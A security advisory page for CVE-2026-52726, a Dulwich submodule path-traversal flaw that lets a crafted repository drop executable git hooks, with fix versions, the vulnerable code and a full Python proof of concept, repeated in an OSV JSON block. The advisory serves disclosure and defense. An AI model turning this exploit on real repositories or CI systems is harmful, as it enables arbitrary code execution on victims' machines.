CVE-2026-52726: Dulwich Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-gfhv-vqv2-4544
CVSS 7.5
CWE-22
Published
Advisory Summary

CVE-2026-52726 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Dulwich libraries in the PyPI ecosystem. The issue involves dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=true) yields rce via attacker-dropped .git/hooks payload. Remediation is available by upgrading affected packages to version 1.2.5.

CVE-2026-52726 at a Glance

CVE Identifier CVE-2026-52726
GHSA Identifier GHSA-gfhv-vqv2-4544
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Dulwich
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-52726

To remediate this vulnerability, upgrade all affected Dulwich dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dulwich fixed: 1.2.5
pip install dulwich>=1.2.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show dulwich

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-52726, inspect your installed packages using pip:

pip show dulwich

Analyze the terminal output to locate any version of Dulwich in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.5), your application is affected.

Note: The pip show dulwich command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Dulwich, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `dulwich.porcelain.submodule_update`, and by extension `porcelain.clone(..., recurse_submodules=True)`, materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious `.gitmodules` plus a matching tree gitlink whose `path` is `.git/hooks` (or any other directory inside the parent repository's `.git` directory) causes the attacker's submodule tree contents to be written directly into the victim's `.git/hooks/` directory, preserving executable mode bits. The dropped executables are then run by any subsequent `git` or `dulwich` command that invokes the matching hook, resulting in arbitrary code execution. This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain. ### Affected - **Package:** `dulwich` (PyPI) - **Affected versions:** `>=0.23.2, <1.2.5` - **Affected platforms:** all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal `.git/hooks` rather than a case- or short-name-aliased form. Affected entry points: - `dulwich.porcelain.submodule_update(repo, init=True, recursive=True)` - `dulwich.porcelain.clone(source, target, recurse_submodules=True)` - `dulwich submodule update` CLI / `dulwich clone --recurse-submodules` CLI ### Vulnerable code The submodule path from the tree's gitlink entry (and matching `.gitmodules`) is consumed without validation in [`dulwich/porcelain/submodule.py`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234). The attacker-controlled `path` enters the loop from `iter_cached_submodules` ([`submodule.py#L154-L168`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L168)): ```python for path, target_sha in submodules_to_update: path_str = ( path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path ) submodule_name: bytes | None = None for sm_path, sm_url, sm_name in read_submodules(gitmodules_path): if sm_path == path: submodule_name = sm_name break if not submodule_name: continue ``` It flows unchecked into `os.path.join` and the filesystem ([`submodule.py#L187-L188`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L187-L188)): ```python submodule_path = os.path.join(r.path, path_str) submodule_git_dir = os.path.join(r.controldir(), "modules", path_str) ``` Finally, the attacker tree's contents are materialized into that directory via `build_index_from_tree` with no `validate_path_element` argument, defaulting to the lax validator ([`submodule.py#L229-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L229-L234)): ```python build_index_from_tree( submodule_path, sub_repo.index_path(), sub_repo.object_store, tree_id, ) ``` Three issues compound: 1. `path_str` originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against `.git`, `..`, or other path-traversal patterns. The same value is read from the attacker-supplied `.gitmodules` blob via [`read_submodules`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/config.py#L1637-L1665), which also performs no validation. 2. `submodule_path = os.path.join(r.path, path_str)` therefore resolves to an attacker-chosen directory anywhere on disk (e.g. `<worktree>/.git/hooks`). 3. [`build_index_from_tree`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/index.py#L2034-L2044) is called without `validate_path_element`, so it defaults to `validate_path_element_default`, which only rejects literal `.git`, `.`, and `..`. It does not refuse a `root_path` that is itself inside the parent's `.git` directory, and it honors the attacker tree's file modes including executable bits (`0o100755`). ### Reachability A direct production call path from a user invocation: `porcelain.clone(source, target, recurse_submodules=True)` at [`dulwich/porcelain/__init__.py:1548-1551`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/__init__.py#L1548-L1551) calls `submodule_update(repo, init=True, recursive=True)` once the parent clone completes, reaching the unsanitized loop at [`submodule.py#L154-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234). The CLI command `dulwich clone --recurse-submodules <url>` reaches the same sink via [`dulwich/cli.py:2131`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/cli.py#L2131). Any service that exposes `porcelain.clone(..., recurse_submodules=True)` on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features. ### Proof of concept End-to-end against pip-installed `dulwich==1.2.4`, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs `git`. The payload writes a marker file rather than performing any destructive action. ```python import os, tempfile, subprocess import dulwich.repo as r import dulwich.porcelain as p from dulwich.objects import Blob, Commit, Tree WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-") ATTACKER = os.path.join(WORKDIR, "att.git") VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git") VICTIM_WT = os.path.join(WORKDIR, "vic_wt") MARKER = os.path.join(WORKDIR, "marker") # Attacker submodule contains a single file named "post-checkout" # with mode 0755 and a benign shell payload that writes a marker file. attacker = r.Repo.init_bare(ATTACKER, mkdir=True) payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n" pb = Blob.from_string(payload) attacker.object_store.add_object(pb) at = Tree() at.add(b"post-checkout", 0o100755, pb.id) attacker.object_store.add_object(at) ac = Commit() ac.tree = at.id ac.author = ac.committer = b"a <a@a>" ac.author_time = ac.commit_time = 0 ac.author_timezone = ac.commit_timezone = 0 ac.message = b"x" attacker.object_store.add_object(ac) attacker.refs[b"refs/heads/master"] = ac.id attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master") # Victim parent has a .gitmodules and a tree gitlink, both pointing at # path ".git/hooks". The gitlink targets the attacker submodule commit. victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True) gitmod = ( b'[submodule "evil"]\n' b'\tpath = .git/hooks\n' b'\turl = ' + ATTACKER.encode() + b'\n' ) gmb = Blob.from_string(gitmod) victim.object_store.add_object(gmb) vt = Tree() vt.add(b".gitmodules", 0o100644, gmb.id) vt.add(b".git/hooks", 0o160000, ac.id) victim.object_store.add_object(vt) vc = Commit() vc.tree = vt.id vc.author = vc.committer = b"a <a@a>" vc.author_time = vc.commit_time = 0 vc.author_timezone = vc.commit_timezone = 0 vc.message = b"v" victim.object_store.add_object(vc) victim.refs[b"refs/heads/master"] = vc.id victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master") # Single victim call: clone with recurse_submodules=True p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True) hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout") assert os.path.exists(hook), "hook was not written" assert os.stat(hook).st_mode & 0o111, "hook is not executable" # git running in the victim worktree then executes the dropped hook subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True, capture_output=True) assert os.path.exists(MARKER), "hook did not fire" print("Code execution confirmed:", open(MARKER).read().strip()) ``` The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (`post-checkout`, `pre-commit`, `post-merge`, `post-rewrite`, `post-applypatch`, and others). dulwich itself executes several hooks (`pre-commit`, `commit-msg`, `post-commit`, `pre-receive`, `update`, `post-receive`; see `dulwich/hooks.py` and `dulwich/repo.py`), so a victim using only dulwich is also reachable without upstream Git. ### Credit tonghuaroot

CVE-2026-52726 Affected Dulwich Versions

1 component(s)
Fixed Versions:
1.2.5
Product / Package Ecosystem Affected Versions Fixed Version
dulwich
PyPI
≥ 0.23.2
< 1.2.5
1.2.5

References

Frequently Asked Questions

What is CVE-2026-52726?
CVE-2026-52726 is a security vulnerability in Dulwich involving Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Dulwich versions are affected?
Affected versions include releases prior to 1.2.5 across affected packages: dulwich.
What version fixes CVE-2026-52726?
Upgrading to 1.2.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dulwich affected?
Yes, dulwich is affected in releases prior to 1.2.5. Upgrade your dependency to 1.2.5 or later.
What is the CVSS score of CVE-2026-52726?
CVE-2026-52726 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-52726?
CVE-2026-52726 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-52726?
Run the dependency tree command: 'pip show dulwich'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gfhv-vqv2-4544",
  "modified" : "2026-07-02T17:50:01Z",
  "published" : "2026-07-02T17:50:00Z",
  "aliases" : [ "CVE-2026-52726" ],
  "summary" : "Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload",
  "details" : "### Summary\n\n`dulwich.porcelain.submodule_update`, and by extension `porcelain.clone(..., recurse_submodules=True)`, materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious `.gitmodules` plus a matching tree gitlink whose `path` is `.git/hooks` (or any other directory inside the parent repository's `.git` directory) causes the attacker's submodule tree contents to be written directly into the victim's `.git/hooks/` directory, preserving executable mode bits. The dropped executables are then run by any subsequent `git` or `dulwich` command that invokes the matching hook, resulting in arbitrary code execution.\n\nThis is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.\n\n### Affected\n\n- **Package:** `dulwich` (PyPI)\n- **Affected versions:** `>=0.23.2, <1.2.5`\n- **Affected platforms:** all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal `.git/hooks` rather than a case- or short-name-aliased form.\n\nAffected entry points:\n- `dulwich.porcelain.submodule_update(repo, init=True, recursive=True)`\n- `dulwich.porcelain.clone(source, target, recurse_submodules=True)`\n- `dulwich submodule update` CLI / `dulwich clone --recurse-submodules` CLI\n\n### Vulnerable code\n\nThe submodule path from the tree's gitlink entry (and matching `.gitmodules`) is consumed without validation in [`dulwich/porcelain/submodule.py`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234).\n\nThe attacker-controlled `path` enters the loop from `iter_cached_submodules` ([`submodule.py#L154-L168`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L168)):\n\n```python\nfor path, target_sha in submodules_to_update:\n    path_str = (\n        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path\n    )\n\n    submodule_name: bytes | None = None\n    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):\n        if sm_path == path:\n            submodule_name = sm_name\n            break\n\n    if not submodule_name:\n        continue\n```\n\nIt flows unchecked into `os.path.join` and the filesystem ([`submodule.py#L187-L188`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L187-L188)):\n\n```python\n            submodule_path = os.path.join(r.path, path_str)\n            submodule_git_dir = os.path.join(r.controldir(), \"modules\", path_str)\n```\n\nFinally, the attacker tree's contents are materialized into that directory via `build_index_from_tree` with no `validate_path_element` argument, defaulting to the lax validator ([`submodule.py#L229-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L229-L234)):\n\n```python\n                    build_index_from_tree(\n                        submodule_path,\n                        sub_repo.index_path(),\n                        sub_repo.object_store,\n                        tree_id,\n                    )\n```\n\nThree issues compound:\n\n1. `path_str` originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against `.git`, `..`, or other path-traversal patterns. The same value is read from the attacker-supplied `.gitmodules` blob via [`read_submodules`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/config.py#L1637-L1665), which also performs no validation.\n2. `submodule_path = os.path.join(r.path, path_str)` therefore resolves to an attacker-chosen directory anywhere on disk (e.g. `<worktree>/.git/hooks`).\n3. [`build_index_from_tree`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/index.py#L2034-L2044) is called without `validate_path_element`, so it defaults to `validate_path_element_default`, which only rejects literal `.git`, `.`, and `..`. It does not refuse a `root_path` that is itself inside the parent's `.git` directory, and it honors the attacker tree's file modes including executable bits (`0o100755`).\n\n### Reachability\n\nA direct production call path from a user invocation: `porcelain.clone(source, target, recurse_submodules=True)` at [`dulwich/porcelain/__init__.py:1548-1551`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/__init__.py#L1548-L1551) calls `submodule_update(repo, init=True, recursive=True)` once the parent clone completes, reaching the unsanitized loop at [`submodule.py#L154-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234).\n\nThe CLI command `dulwich clone --recurse-submodules <url>` reaches the same sink via [`dulwich/cli.py:2131`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/cli.py#L2131).\n\nAny service that exposes `porcelain.clone(..., recurse_submodules=True)` on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server \"fetch dependency from git\" features.\n\n### Proof of concept\n\nEnd-to-end against pip-installed `dulwich==1.2.4`, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs `git`. The payload writes a marker file rather than performing any destructive action.\n\n```python\nimport os, tempfile, subprocess\nimport dulwich.repo as r\nimport dulwich.porcelain as p\nfrom dulwich.objects import Blob, Commit, Tree\n\nWORKDIR = tempfile.mkdtemp(prefix=\"dulwich-poc-\")\nATTACKER = os.path.join(WORKDIR, \"att.git\")\nVICTIM_PARENT = os.path.join(WORKDIR, \"vic_parent.git\")\nVICTIM_WT = os.path.join(WORKDIR, \"vic_wt\")\nMARKER = os.path.join(WORKDIR, \"marker\")\n\n# Attacker submodule contains a single file named \"post-checkout\"\n# with mode 0755 and a benign shell payload that writes a marker file.\nattacker = r.Repo.init_bare(ATTACKER, mkdir=True)\npayload = b\"#!/bin/sh\\necho executed > \" + MARKER.encode() + b\"\\n\"\npb = Blob.from_string(payload)\nattacker.object_store.add_object(pb)\nat = Tree()\nat.add(b\"post-checkout\", 0o100755, pb.id)\nattacker.object_store.add_object(at)\nac = Commit()\nac.tree = at.id\nac.author = ac.committer = b\"a <a@a>\"\nac.author_time = ac.commit_time = 0\nac.author_timezone = ac.commit_timezone = 0\nac.message = b\"x\"\nattacker.object_store.add_object(ac)\nattacker.refs[b\"refs/heads/master\"] = ac.id\nattacker.refs.set_symbolic_ref(b\"HEAD\", b\"refs/heads/master\")\n\n# Victim parent has a .gitmodules and a tree gitlink, both pointing at\n# path \".git/hooks\". The gitlink targets the attacker submodule commit.\nvictim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)\ngitmod = (\n    b'[submodule \"evil\"]\\n'\n    b'\\tpath = .git/hooks\\n'\n    b'\\turl = ' + ATTACKER.encode() + b'\\n'\n)\ngmb = Blob.from_string(gitmod)\nvictim.object_store.add_object(gmb)\nvt = Tree()\nvt.add(b\".gitmodules\", 0o100644, gmb.id)\nvt.add(b\".git/hooks\", 0o160000, ac.id)\nvictim.object_store.add_object(vt)\nvc = Commit()\nvc.tree = vt.id\nvc.author = vc.committer = b\"a <a@a>\"\nvc.author_time = vc.commit_time = 0\nvc.author_timezone = vc.commit_timezone = 0\nvc.message = b\"v\"\nvictim.object_store.add_object(vc)\nvictim.refs[b\"refs/heads/master\"] = vc.id\nvictim.refs.set_symbolic_ref(b\"HEAD\", b\"refs/heads/master\")\n\n# Single victim call: clone with recurse_submodules=True\np.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)\n\nhook = os.path.join(VICTIM_WT, \".git\", \"hooks\", \"post-checkout\")\nassert os.path.exists(hook), \"hook was not written\"\nassert os.stat(hook).st_mode & 0o111, \"hook is not executable\"\n\n# git running in the victim worktree then executes the dropped hook\nsubprocess.run([\"git\", \"-C\", VICTIM_WT, \"checkout\", \"master\"], check=True,\n               capture_output=True)\nassert os.path.exists(MARKER), \"hook did not fire\"\nprint(\"Code execution confirmed:\", open(MARKER).read().strip())\n```\n\nThe trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (`post-checkout`, `pre-commit`, `post-merge`, `post-rewrite`, `post-applypatch`, and others). dulwich itself executes several hooks (`pre-commit`, `commit-msg`, `post-commit`, `pre-receive`, `update`, `post-receive`; see `dulwich/hooks.py` and `dulwich/repo.py`), so a victim using only dulwich is also reachable without upstream Git.\n\n### Credit\n\ntonghuaroot",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "dulwich"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.23.2"
      }, {
        "fixed" : "1.2.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/security/advisories/GHSA-gfhv-vqv2-4544"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52726"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jelmer/dulwich"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-02T17:50:00Z",
    "nvd_published_at" : "2026-06-10T23:16:50Z"
  }
}